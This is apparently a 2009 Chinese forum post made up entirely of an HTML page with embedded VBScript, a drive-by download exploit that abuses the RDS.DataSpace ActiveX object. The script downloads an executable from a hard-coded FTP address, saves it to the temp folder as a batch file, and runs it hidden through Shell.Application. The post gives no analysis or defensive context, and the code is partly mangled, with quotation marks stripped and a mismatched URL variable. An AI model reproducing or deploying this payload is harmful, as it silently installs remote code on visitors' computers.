|
|
发表于 2009-4-14 19:38:31
|
显示全部楼层
来自 安徽省马鞍山市
<html>
<script language=VBScript>
ler=object
Set data =
document.createElement(ler,)
bbs =Microsoft.XMLHTTP
data.setAttribute (classid),
(clsid:BD96C556-65A3-11D0-
983A-00C04FC29E36)
Set x = data.CreateObject
(bbs,)
dl = ftp://122.224.4.90/1.exe
uuu=Adodb.Stream
set mm = data.createobject(uuu,)
mm.type = 1
mm.open
ysha=GET
x.Open ysha, url, False
x.Send
mm.write x.responseBody
exe=leren.bat
lr =Scripting.FileSystemObject
Set T = Nothing
set F = data.createobject(lr,)
set tmp = F.GetSpecialFolder(2)
exe= F.BuildPath(tmp,exe)
mm.savetofile exe,2
mm.close
set Bb = data.createobject
(Shell.Application,)
Bb.ShellExecute
exe,,,open,0
</script>
<head>
<title>www.heike.cc</title>
</head><body>
<center>
</center>
</body></html> |
|
